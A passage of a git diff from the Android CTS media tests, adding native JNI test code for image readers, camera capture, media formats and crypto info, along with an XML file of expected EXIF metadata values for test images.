+    static void onDeviceError(void* /*obj*/, ACameraDevice* /*device*/, int /*errorCode*/) {}
+
+    static void onSessionClosed(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+    static void onSessionReady(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+    static void onSessionActive(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+   private:
+    ACameraDevice_StateCallbacks mDeviceCb{this, onDeviceDisconnected,
+                                           onDeviceError};
+    ACameraCaptureSession_stateCallbacks mSessionCb{
+        this, onSessionClosed, onSessionReady, onSessionActive};
+
+    ANativeWindow* mImgReaderAnw = nullptr;  // not owned by us.
+
+    // Camera manager
+    ACameraManager* mCameraManager = nullptr;
+    ACameraIdList* mCameraIdList = nullptr;
+    // Camera device
+    ACameraMetadata* mCameraMetadata = nullptr;
+    ACameraDevice* mDevice = nullptr;
+    // Capture session
+    ACaptureSessionOutputContainer* mOutputs = nullptr;
+    ACaptureSessionOutput* mImgReaderOutput = nullptr;
+    ACameraCaptureSession* mSession = nullptr;
+    // Capture request
+    ACaptureRequest* mStillRequest = nullptr;
+    ACameraOutputTarget* mReqImgReaderOutput = nullptr;
+
+    bool mIsCameraReady = false;
+    const char* mCameraId;
+};
+
+class ImageReaderTestCase {
+   public:
+    ImageReaderTestCase(int32_t width,
+                        int32_t height,
+                        int32_t format,
+                        uint64_t usage,
+                        int32_t maxImages,
+                        bool async)
+        : mWidth(width),
+          mHeight(height),
+          mFormat(format),
+          mUsage(usage),
+          mMaxImages(maxImages),
+          mAsync(async) {}
+
+    ~ImageReaderTestCase() {
+        if (mImgReaderAnw) {
+            AImageReader_delete(mImgReader);
+            // No need to call ANativeWindow_release on imageReaderAnw
+        }
+    }
+
+    int initImageReader() {
+        if (mImgReader != nullptr || mImgReaderAnw != nullptr) {
+            ALOGE("Cannot re-initalize image reader, mImgReader=%p, mImgReaderAnw=%p", mImgReader,
+                  mImgReaderAnw);
+            return -1;
+        }
+
+        media_status_t ret = AImageReader_newWithUsage(
+                mWidth, mHeight, mFormat, mUsage, mMaxImages, &mImgReader);
+        if (ret != AMEDIA_OK || mImgReader == nullptr) {
+            ALOGE("Failed to create new AImageReader, ret=%d, mImgReader=%p", ret, mImgReader);
+            return -1;
+        }
+
+        ret = AImageReader_setImageListener(mImgReader, &mReaderAvailableCb);
+        if (ret != AMEDIA_OK) {
+            ALOGE("Failed to set image available listener, ret=%d.", ret);
+            return ret;
+        }
+
+        ret = AImageReader_setBufferRemovedListener(mImgReader, &mReaderDetachedCb);
+        if (ret != AMEDIA_OK) {
+            ALOGE("Failed to set buffer detaching listener, ret=%d.", ret);
+            return ret;
+        }
+
+        ret = AImageReader_getWindow(mImgReader, &mImgReaderAnw);
+        if (ret != AMEDIA_OK || mImgReaderAnw == nullptr) {
+            ALOGE("Failed to get ANativeWindow from AImageReader, ret=%d, mImgReaderAnw=%p.", ret,
+                  mImgReaderAnw);
+            return -1;
+        }
+
+        return 0;
+    }
+
+    ANativeWindow* getNativeWindow() { return mImgReaderAnw; }
+
+    int getAcquiredImageCount() {
+        std::lock_guard<std::mutex> lock(mMutex);
+        return mAcquiredImageCount;
+    }
+
+    void HandleImageAvailable(AImageReader* reader) {
+        std::lock_guard<std::mutex> lock(mMutex);
+
+        AImage* outImage = nullptr;
+        media_status_t ret;
+
+        // Make sure AImage will be deleted automatically when it goes out of
+        // scope.
+        auto imageDeleter = [this](AImage* img) {
+            if (mAsync) {
+                AImage_deleteAsync(img, kDummyFenceFd);
+            } else {
+                AImage_delete(img);
+            }
+        };
+        std::unique_ptr<AImage, decltype(imageDeleter)> img(nullptr, imageDeleter);
+
+        if (mAsync) {
+            int outFenceFd = 0;
+            // Verity that outFenceFd's value will be changed by
+            // AImageReader_acquireNextImageAsync.
+            ret = AImageReader_acquireNextImageAsync(reader, &outImage, &outFenceFd);
+            if (ret != AMEDIA_OK || outImage == nullptr || outFenceFd == 0) {
+                ALOGE("Failed to acquire image, ret=%d, outIamge=%p, outFenceFd=%d.", ret, outImage,
+                      outFenceFd);
+                return;
+            }
+            img.reset(outImage);
+        } else {
+            ret = AImageReader_acquireNextImage(reader, &outImage);
+            if (ret != AMEDIA_OK || outImage == nullptr) {
+                ALOGE("Failed to acquire image, ret=%d, outIamge=%p.", ret, outImage);
+                return;
+            }
+            img.reset(outImage);
+        }
+
+        AHardwareBuffer* outBuffer = nullptr;
+        ret = AImage_getHardwareBuffer(img.get(), &outBuffer);
+        if (ret != AMEDIA_OK || outBuffer == nullptr) {
+            ALOGE("Faild to get hardware buffer, ret=%d, outBuffer=%p.", ret, outBuffer);
+            return;
+        }
+
+        // No need to release AHardwareBuffer, since we don't acquire additional
+        // reference to it.
+        AHardwareBuffer_Desc outDesc;
+        AHardwareBuffer_describe(outBuffer, &outDesc);
+        int32_t imageWidth = 0;
+        int32_t imageHeight = 0;
+        int32_t bufferWidth = static_cast<int32_t>(outDesc.width);
+        int32_t bufferHeight = static_cast<int32_t>(outDesc.height);
+
+        AImage_getWidth(outImage, &imageWidth);
+        AImage_getHeight(outImage, &imageHeight);
+        if (imageWidth != mWidth || imageHeight != mHeight) {
+            ALOGE("Mismatched output image dimension: expected=%dx%d, actual=%dx%d", mWidth,
+                  mHeight, imageWidth, imageHeight);
+            return;
+        }
+
+        if (mFormat == AIMAGE_FORMAT_RGBA_8888 ||
+            mFormat == AIMAGE_FORMAT_RGBX_8888 ||
+            mFormat == AIMAGE_FORMAT_RGB_888 ||
+            mFormat == AIMAGE_FORMAT_RGB_565 ||
+            mFormat == AIMAGE_FORMAT_RGBA_FP16 ||
+            mFormat == AIMAGE_FORMAT_YUV_420_888 ||
+            mFormat == AIMAGE_FORMAT_Y8) {
+            // Check output buffer dimension for certain formats. Don't do this for blob based
+            // formats.
+            if (bufferWidth != mWidth || bufferHeight != mHeight) {
+                ALOGE("Mismatched output buffer dimension: expected=%dx%d, actual=%dx%d", mWidth,
+                      mHeight, bufferWidth, bufferHeight);
+                return;
+            }
+        }
+
+        if ((outDesc.usage & mUsage) != mUsage) {
+            ALOGE("Mismatched output buffer usage: actual (%" PRIu64 "), expected (%" PRIu64 ")",
+                  outDesc.usage, mUsage);
+            return;
+        }
+
+        uint8_t* data = nullptr;
+        int dataLength = 0;
+        ret = AImage_getPlaneData(img.get(), 0, &data, &dataLength);
+        if (mUsage & AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN) {
+            // When we have CPU_READ_OFTEN usage bits, we can lock the image.
+            if (ret != AMEDIA_OK || data == nullptr || dataLength < 0) {
+                ALOGE("Failed to access CPU data, ret=%d, data=%p, dataLength=%d", ret, data,
+                      dataLength);
+                return;
+            }
+        } else {
+            if (ret != AMEDIA_IMGREADER_CANNOT_LOCK_IMAGE || data != nullptr || dataLength != 0) {
+                ALOGE("Shouldn't be able to access CPU data, ret=%d, data=%p, dataLength=%d", ret,
+                      data, dataLength);
+                return;
+            }
+        }
+        // Only increase mAcquiredImageCount if all checks pass.
+        mAcquiredImageCount++;
+    }
+
+    static void onImageAvailable(void* obj, AImageReader* reader) {
+        ImageReaderTestCase* thiz = reinterpret_cast<ImageReaderTestCase*>(obj);
+        thiz->HandleImageAvailable(reader);
+    }
+
+    static void
+    onBufferRemoved(void* /*obj*/, AImageReader* /*reader*/, AHardwareBuffer* /*buffer*/) {
+        // No-op, just to check the listener can be set properly.
+    }
+
+   private:
+    int32_t mWidth;
+    int32_t mHeight;
+    int32_t mFormat;
+    uint64_t mUsage;
+    int32_t mMaxImages;
+    bool mAsync;
+
+    std::mutex mMutex;
+    int mAcquiredImageCount{0};
+
+    AImageReader* mImgReader = nullptr;
+    ANativeWindow* mImgReaderAnw = nullptr;
+
+    AImageReader_ImageListener mReaderAvailableCb{this, onImageAvailable};
+    AImageReader_BufferRemovedListener mReaderDetachedCb{this, onBufferRemoved};
+};
+
+int takePictures(uint64_t readerUsage, int readerMaxImages, bool readerAsync, int pictureCount) {
+    int ret = 0;
+
+    ImageReaderTestCase testCase(
+            kTestImageWidth, kTestImageHeight, kTestImageFormat, readerUsage, readerMaxImages,
+            readerAsync);
+    ret = testCase.initImageReader();
+    if (ret < 0) {
+        return ret;
+    }
+
+    CameraHelper cameraHelper(testCase.getNativeWindow());
+    ret = cameraHelper.initCamera();
+    if (ret < 0) {
+        return ret;
+    }
+
+    if (!cameraHelper.isCameraReady()) {
+        ALOGW("Camera is not ready after successful initialization. It's either due to camera on "
+              "board lacks BACKWARDS_COMPATIBLE capability or the device does not have camera on "
+              "board.");
+        return 0;
+    }
+
+    for (int i = 0; i < pictureCount; i++) {
+        ret = cameraHelper.takePicture();
+        if (ret < 0) {
+            return ret;
+        }
+    }
+
+    // Sleep until all capture finished
+    for (int i = 0; i < kCaptureWaitRetry * pictureCount; i++) {
+        usleep(kCaptureWaitUs);
+        if (testCase.getAcquiredImageCount() == pictureCount) {
+            ALOGI("Session take ~%d ms to capture %d images", i * kCaptureWaitUs / 1000,
+                  pictureCount);
+            break;
+        }
+    }
+
+    return testCase.getAcquiredImageCount() == pictureCount ? 0 : -1;
+}
+
+}  // namespace
+
+// Test that newWithUsage can create AImageReader correctly.
+extern "C" jboolean Java_android_media_misc_cts_NativeImageReaderTest_\
+testSucceedsWithSupportedUsageFormatNative(JNIEnv* /*env*/, jclass /*clazz*/) {
+    static constexpr int kTestImageCount = 8;
+
+    for (auto& combination : supportedFormatUsage) {
+        AImageReader* outReader;
+        media_status_t ret = AImageReader_newWithUsage(
+                kTestImageWidth, kTestImageHeight, combination.format, combination.usage,
+                kTestImageCount, &outReader);
+        if (ret != AMEDIA_OK || outReader == nullptr) {
+            ALOGE("AImageReader_newWithUsage failed with format: %" PRId64 ", usage: %" PRId64 ".",
+                  combination.format, combination.usage);
+            return false;
+        }
+        AImageReader_delete(outReader);
+    }
+
+    return true;
+}
+
+extern "C" jboolean Java_android_media_misc_cts_NativeImageReaderTest_\
+testTakePicturesNative(JNIEnv* /*env*/, jclass /*clazz*/) {
+    for (auto& readerUsage :
+         {AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN}) {
+        for (auto& readerMaxImages : {1, 4, 8}) {
+            for (auto& readerAsync : {true, false}) {
+                for (auto& pictureCount : {1, 8, 16}) {
+                    if (takePictures(readerUsage, readerMaxImages, readerAsync, pictureCount)) {
+                        ALOGE("Test takePictures failed for test case usage=%" PRIu64 ", maxImages=%d, "
+                              "async=%d, pictureCount=%d",
+                              readerUsage, readerMaxImages, readerAsync, pictureCount);
+                        return false;
+                    }
+                }
+            }
+        }
+    }
+    return true;
+}
+
+extern "C" jobject Java_android_media_misc_cts_NativeImageReaderTest_\
+testCreateSurfaceNative(JNIEnv* env, jclass /*clazz*/) {
+    static constexpr uint64_t kTestImageUsage = AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN;
+    static constexpr int kTestImageCount = 8;
+
+    ImageReaderTestCase testCase(
+            kTestImageWidth, kTestImageHeight, kTestImageFormat, kTestImageUsage, kTestImageCount,
+            false);
+    int ret = testCase.initImageReader();
+    if (ret < 0) {
+        ALOGE("Failed to get initialize image reader: ret=%d.", ret);
+        return nullptr;
+    }
+
+    // No need to release the window as AImageReader_delete takes care of it.
+    ANativeWindow* window = testCase.getNativeWindow();
+    if (window == nullptr) {
+        ALOGE("Failed to get native window for the test case.");
+        return nullptr;
+    }
+
+    return ANativeWindow_toSurface(env, window);
+}
diff --git a/tests/tests/media/misc/jni/native-media-jni.cpp b/tests/tests/media/misc/jni/native-media-jni.cpp
new file mode 100644
index 0000000..8dc8e18
--- /dev/null
+++ b/tests/tests/media/misc/jni/native-media-jni.cpp
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* Original code copied from NDK Native-media sample code */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "NativeMedia"
+#include <log/log.h>
+
+#include <assert.h>
+#include <jni.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaCrypto.h"
+#include "media/NdkMediaDataSource.h"
+#include "media/NdkMediaFormat.h"
+
+extern "C" jboolean Java_android_media_misc_cts_NativeDecoderTest_testFormatNative(JNIEnv * /*env*/,
+        jclass /*clazz*/) {
+    AMediaFormat* format = AMediaFormat_new();
+    if (!format) {
+        return false;
+    }
+
+    AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_BIT_RATE, 8000);
+    int32_t bitrate = 0;
+    if (!AMediaFormat_getInt32(format, AMEDIAFORMAT_KEY_BIT_RATE, &bitrate) || bitrate != 8000) {
+        ALOGE("AMediaFormat_getInt32 fail: %d", bitrate);
+        return false;
+    }
+
+    AMediaFormat_setInt64(format, AMEDIAFORMAT_KEY_DURATION, 123456789123456789LL);
+    int64_t duration = 0;
+    if (!AMediaFormat_getInt64(format, AMEDIAFORMAT_KEY_DURATION, &duration)
+            || duration != 123456789123456789LL) {
+        ALOGE("AMediaFormat_getInt64 fail: %lld", (long long) duration);
+        return false;
+    }
+
+    AMediaFormat_setFloat(format, AMEDIAFORMAT_KEY_FRAME_RATE, 25.0f);
+    float framerate = 0.0f;
+    if (!AMediaFormat_getFloat(format, AMEDIAFORMAT_KEY_FRAME_RATE, &framerate)
+            || framerate != 25.0f) {
+        ALOGE("AMediaFormat_getFloat fail: %f", framerate);
+        return false;
+    }
+
+    const char* value = "audio/mpeg";
+    AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, value);
+    const char* readback = NULL;
+    if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &readback)
+            || strcmp(value, readback) || value == readback) {
+        ALOGE("AMediaFormat_getString fail");
+        return false;
+    }
+
+    uint32_t foo = 0xdeadbeef;
+    AMediaFormat_setBuffer(format, "csd-0", &foo, sizeof(foo));
+    foo = 0xabadcafe;
+    void *bytes;
+    size_t bytesize = 0;
+    if(!AMediaFormat_getBuffer(format, "csd-0", &bytes, &bytesize)
+            || bytesize != sizeof(foo) || *((uint32_t*)bytes) != 0xdeadbeef) {
+        ALOGE("AMediaFormat_getBuffer fail");
+        return false;
+    }
+
+    return true;
+}
+
+
+extern "C" jboolean Java_android_media_misc_cts_NativeDecoderTest_testPsshNative(JNIEnv * /*env*/,
+        jclass /*clazz*/, int fd, jlong offset, jlong size) {
+
+    AMediaExtractor *ex = AMediaExtractor_new();
+    int err = AMediaExtractor_setDataSourceFd(ex, fd, offset, size);
+    if (err != 0) {
+        ALOGE("setDataSource error: %d", err);
+        return false;
+    }
+
+    PsshInfo* info = AMediaExtractor_getPsshInfo(ex);
+    if (info == NULL) {
+        ALOGI("null pssh");
+        return false;
+    }
+
+    ALOGI("pssh has %zd entries", info->numentries);
+    if (info->numentries != 2) {
+        return false;
+    }
+
+    for (size_t i = 0; i < info->numentries; i++) {
+        PsshEntry *entry = &info->entries[i];
+        ALOGI("entry uuid %02x%02x..%02x%02x, data size %zd",
+                entry->uuid[0],
+                entry->uuid[1],
+                entry->uuid[14],
+                entry->uuid[15],
+                entry->datalen);
+
+        AMediaCrypto *crypto = AMediaCrypto_new(entry->uuid, entry->data, entry->datalen);
+        if (crypto) {
+            ALOGI("got crypto");
+            AMediaCrypto_delete(crypto);
+        } else {
+            ALOGI("no crypto");
+        }
+    }
+    return true;
+}
+
+extern "C" jboolean Java_android_media_misc_cts_NativeDecoderTest_testCryptoInfoNative(JNIEnv * /*env*/,
+        jclass /*clazz*/) {
+
+    size_t numsubsamples = 4;
+    uint8_t key[16] = { 1,2,3,4,1,2,3,4,1,2,3,4,1,2,3,4 };
+    uint8_t iv[16] = { 4,3,2,1,4,3,2,1,4,3,2,1,4,3,2,1 };
+    size_t clearbytes[4] = { 5, 6, 7, 8 };
+    size_t encryptedbytes[4] = { 8, 7, 6, 5 };
+
+    AMediaCodecCryptoInfo *ci =
+            AMediaCodecCryptoInfo_new(numsubsamples, key, iv, AMEDIACODECRYPTOINFO_MODE_CLEAR, clearbytes, encryptedbytes);
+
+    if (AMediaCodecCryptoInfo_getNumSubSamples(ci) != 4) {
+        ALOGE("numsubsamples mismatch");
+        return false;
+    }
+    uint8_t bytes[16];
+    AMediaCodecCryptoInfo_getKey(ci, bytes);
+    if (memcmp(key, bytes, 16) != 0) {
+        ALOGE("key mismatch");
+        return false;
+    }
+    AMediaCodecCryptoInfo_getIV(ci, bytes);
+    if (memcmp(iv, bytes, 16) != 0) {
+        ALOGE("IV mismatch");
+        return false;
+    }
+    if (AMediaCodecCryptoInfo_getMode(ci) != AMEDIACODECRYPTOINFO_MODE_CLEAR) {
+        ALOGE("mode mismatch");
+        return false;
+    }
+    size_t sizes[numsubsamples];
+    AMediaCodecCryptoInfo_getClearBytes(ci, sizes);
+    if (memcmp(clearbytes, sizes, sizeof(size_t) * numsubsamples)) {
+        ALOGE("clear size mismatch");
+        return false;
+    }
+    AMediaCodecCryptoInfo_getEncryptedBytes(ci, sizes);
+    if (memcmp(encryptedbytes, sizes, sizeof(size_t) * numsubsamples)) {
+        ALOGE("encrypted size mismatch");
+        return false;
+    }
+    return true;
+}
+
+extern "C" jlong Java_android_media_misc_cts_NativeDecoderTest_createAMediaExtractor(JNIEnv * /*env*/,
+        jclass /*clazz*/) {
+    AMediaExtractor *ex = AMediaExtractor_new();
+    return reinterpret_cast<jlong>(ex);
+}
+
+extern "C" jlong Java_android_media_misc_cts_NativeDecoderTest_createAMediaDataSource(JNIEnv * env,
+        jclass /*clazz*/, jstring jurl) {
+    const char *url = env->GetStringUTFChars(jurl, NULL);
+    if (url == NULL) {
+        ALOGE("GetStringUTFChars error");
+        return 0;
+    }
+
+    AMediaDataSource *ds = AMediaDataSource_newUri(url, 0, NULL);
+    env->ReleaseStringUTFChars(jurl, url);
+    return reinterpret_cast<jlong>(ds);
+}
+
+extern "C" jint Java_android_media_misc_cts_NativeDecoderTest_setAMediaExtractorDataSource(JNIEnv * /*env*/,
+        jclass /*clazz*/, jlong jex, jlong jds) {
+    AMediaExtractor *ex = reinterpret_cast<AMediaExtractor *>(jex);
+    AMediaDataSource *ds = reinterpret_cast<AMediaDataSource *>(jds);
+    return AMediaExtractor_setDataSourceCustom(ex, ds);
+}
+
+extern "C" void Java_android_media_misc_cts_NativeDecoderTest_closeAMediaDataSource(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong ds) {
+    AMediaDataSource_close(reinterpret_cast<AMediaDataSource *>(ds));
+}
+
+extern "C" void Java_android_media_misc_cts_NativeDecoderTest_deleteAMediaExtractor(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong ex) {
+    AMediaExtractor_delete(reinterpret_cast<AMediaExtractor *>(ex));
+}
+
+extern "C" void Java_android_media_misc_cts_NativeDecoderTest_deleteAMediaDataSource(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong ds) {
+    AMediaDataSource_delete(reinterpret_cast<AMediaDataSource *>(ds));
+}
+
+extern "C" jboolean Java_android_media_misc_cts_NativeDecoderTest_testMediaFormatNative(
+        JNIEnv * /*env*/, jclass /*clazz*/) {
+
+    AMediaFormat *original = AMediaFormat_new();
+    AMediaFormat *copy = AMediaFormat_new();
+    jboolean ret = false;
+    while (true) {
+        AMediaFormat_setInt64(original, AMEDIAFORMAT_KEY_DURATION, 1234ll);
+        int64_t value = 0;
+        if (!AMediaFormat_getInt64(original, AMEDIAFORMAT_KEY_DURATION, &value) || value != 1234) {
+            ALOGE("format missing expected entry");
+            break;
+        }
+        AMediaFormat_copy(copy, original);
+        value = 0;
+        if (!AMediaFormat_getInt64(copy, AMEDIAFORMAT_KEY_DURATION, &value) || value != 1234) {
+            ALOGE("copied format missing expected entry");
+            break;
+        }
+        AMediaFormat_clear(original);
+        if (AMediaFormat_getInt64(original, AMEDIAFORMAT_KEY_DURATION, &value)) {
+            ALOGE("format still has entry after clear");
+            break;
+        }
+        value = 0;
+        if (!AMediaFormat_getInt64(copy, AMEDIAFORMAT_KEY_DURATION, &value) || value != 1234) {
+            ALOGE("copied format missing expected entry");
+            break;
+        }
+        ret = true;
+        break;
+    }
+    AMediaFormat_delete(original);
+    AMediaFormat_delete(copy);
+    return ret;
+}
diff --git a/tests/tests/media/res/drawable/faces.jpg b/tests/tests/media/misc/res/drawable/faces.jpg
similarity index 100%
rename from tests/tests/media/res/drawable/faces.jpg
rename to tests/tests/media/misc/res/drawable/faces.jpg
Binary files differ
diff --git a/tests/tests/media/res/drawable/single_face.jpg b/tests/tests/media/misc/res/drawable/single_face.jpg
similarity index 100%
rename from tests/tests/media/res/drawable/single_face.jpg
rename to tests/tests/media/misc/res/drawable/single_face.jpg
Binary files differ
diff --git a/tests/tests/media/res/raw/heifwriter_input.heic b/tests/tests/media/misc/res/raw/heifwriter_input.heic
similarity index 100%
rename from tests/tests/media/res/raw/heifwriter_input.heic
rename to tests/tests/media/misc/res/raw/heifwriter_input.heic
Binary files differ
diff --git a/tests/tests/media/res/raw/testcanonicalize_localizable_mp3.mp3 b/tests/tests/media/misc/res/raw/testcanonicalize_localizable_mp3.mp3
similarity index 100%
rename from tests/tests/media/res/raw/testcanonicalize_localizable_mp3.mp3
rename to tests/tests/media/misc/res/raw/testcanonicalize_localizable_mp3.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/testcanonicalize_mp3.mp3 b/tests/tests/media/misc/res/raw/testcanonicalize_mp3.mp3
similarity index 100%
rename from tests/tests/media/res/raw/testcanonicalize_mp3.mp3
rename to tests/tests/media/misc/res/raw/testcanonicalize_mp3.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/testmp3.mp3 b/tests/tests/media/misc/res/raw/testmp3.mp3
similarity index 100%
copy from tests/tests/media/res/raw/testmp3.mp3
copy to tests/tests/media/misc/res/raw/testmp3.mp3
Binary files differ
diff --git a/tests/tests/media/misc/res/values/exifinterface.xml b/tests/tests/media/misc/res/values/exifinterface.xml
new file mode 100644
index 0000000..be002e5
--- /dev/null
+++ b/tests/tests/media/misc/res/values/exifinterface.xml
@@ -0,0 +1,810 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <array name="jpeg_with_exif_byte_order_ii">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>3500</item>
+        <item>6265</item>
+        <item>512</item>
+        <item>288</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>160</item>
+        <item>8</item>
+        <item>SAMSUNG</item>
+        <item>SM-N900S</item>
+        <item>2.200</item>
+        <item>2016:01:29 18:32:27</item>
+        <item>0.033</item>
+        <item>0</item>
+        <item>413/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>480</item>
+        <item>640</item>
+        <item>50</item>
+        <item>6</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="standalone_data_with_exif_byte_order_ii">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>3494</item>
+        <item>6265</item>
+        <item>512</item>
+        <item>288</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>154</item>
+        <item>8</item>
+        <item>SAMSUNG</item>
+        <item>SM-N900S</item>
+        <item>2.200</item>
+        <item>2016:01:29 18:32:27</item>
+        <item>0.033</item>
+        <item>0</item>
+        <item>413/100</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <item>480</item>
+        <item>640</item>
+        <item>50</item>
+        <item>6</item>
+        <item>0</item>
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+    </array>
+    <array name="jpeg_with_exif_byte_order_mm">
+        <!--Whether thumbnail exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>584</item>
+        <item>24</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>414</item>
+        <item>4</item>
+        <item>LGE</item>
+        <item>Nexus 5</item>
+        <item>2.400</item>
+        <item>2016:01:29 15:44:58</item>
+        <item>0.017</item>
+        <item>0</item>
+        <item>3970/1000</item>
+        <item>0/1000</item>
+        <item>0</item>
+        <item>1970:01:01</item>
+        <item>0/1,0/1,0/10000</item>
+        <item>N</item>
+        <item>0/1,0/1,0/10000</item>
+        <item>E</item>
+        <item>GPS</item>
+        <item>00:00:00</item>
+        <item>176</item>
+        <item>144</item>
+        <item>146</item>
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <item />
+        <item />
+    </array>
+    <array name="standalone_data_with_exif_byte_order_mm">
+        <!--Whether thumbnail exists-->
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>578</item>
+        <item>24</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>408</item>
+        <item>4</item>
+        <item>LGE</item>
+        <item>Nexus 5</item>
+        <item>2.400</item>
+        <item>2016:01:29 15:44:58</item>
+        <item>0.017</item>
+        <item>0</item>
+        <item>3970/1000</item>
+        <item>0/1000</item>
+        <item>0</item>
+        <item>1970:01:01</item>
+        <item>0/1,0/1,0/10000</item>
+        <item>N</item>
+        <item>0/1,0/1,0/10000</item>
+        <item>E</item>
+        <item>GPS</item>
+        <item>00:00:00</item>
+        <item>0</item>
+        <item>0</item>
+        <item>146</item>
+        <item>0</item>
+        <item>0</item>
+        <item>false</item>
+        <item>0</item>
+        <item>0</item>
+    </array>
+    <array name="dng_with_exif_with_xmp">
+        <!--Whether thumbnail exists-->
+        <item>true</item>
+        <item>12570</item>
+        <item>15179</item>
+        <item>256</item>
+        <item>144</item>
+        <item>true</item>
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>12486</item>
+        <item>24</item>
+        <item>53.834507</item>
+        <item>10.69585</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>102</item>
+        <item>4</item>
+        <item>LGE</item>
+        <item>LG-H815</item>
+        <item>1.800</item>
+        <item>2015:11:12 16:46:18</item>
+        <item>0.0040</item>
+        <item>0.0</item>
+        <item>442/100</item>
+        <item />
+        <item />
+        <item>1970:01:17</item>
+        <item>53/1,50/1,423/100</item>
+        <item>N</item>
+        <item>10/1,41/1,4506/100</item>
+        <item>E</item>
+        <item />
+        <item>18:08:10</item>
+        <item>337</item>
+        <item>600</item>
+        <item>800</item>
+        <item>0</item>
+        <item>0</item>
+        <item>true</item>
+        <item>826</item>
+        <item>10067</item>
+    </array>
+    <array name="jpeg_with_exif_with_xmp">
+        <!--Whether thumbnail exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>1692</item>
+        <item>24</item>
+        <item>53.834507</item>
+        <item>10.69585</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>84</item>
+        <item>4</item>
+        <item>LGE</item>
+        <item>LG-H815</item>
+        <item>1.800</item>
+        <item>2015:11:12 16:46:18</item>
+        <item>0.0040</item>
+        <item>0.0</item>
+        <item>442/100</item>
+        <item />
+        <item />
+        <item>1970:01:17</item>
+        <item>53/1,50/1,423/100</item>
+        <item>N</item>
+        <item>10/1,41/1,4506/100</item>
+        <item>E</item>
+        <item />
+        <item>18:08:10</item>
+        <item>337</item>
+        <item>600</item>
+        <item>800</item>
+        <item>1</item>
+        <item>0</item>
+        <item>true</item>
+        <item>1809</item>
+        <item>13197</item>
+    </array>
+    <array name="volantis_jpg">
+        <!--Whether thumbnail exists-->
+        <item>false</item>
+        <item />
+        <item />
+        <item />
+        <item />
+        <item />
+        <!--Whether GPS LatLong information exists-->
+        <item>true</item>
+        <item>3155</item>
+        <item>24</item>
+        <item>37.423</item>
+        <item>-122.162</item>
+        <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>210</item>
+        <item>4</item>
+        <item>htc</item>
+        <item>Nexus 9</item>
+        <item>1.2904</item>
+        <item>2016:03:09 17:36:42</item>
+        <item>0.0083</item>
+        <item>64</item>
+        <item>3097/1000</item>
+        <item />
+        <item />
+        <item>2016:03:09</item>
+        <item>37/1,25/1,2291/100</item>
+        <item>N</item>
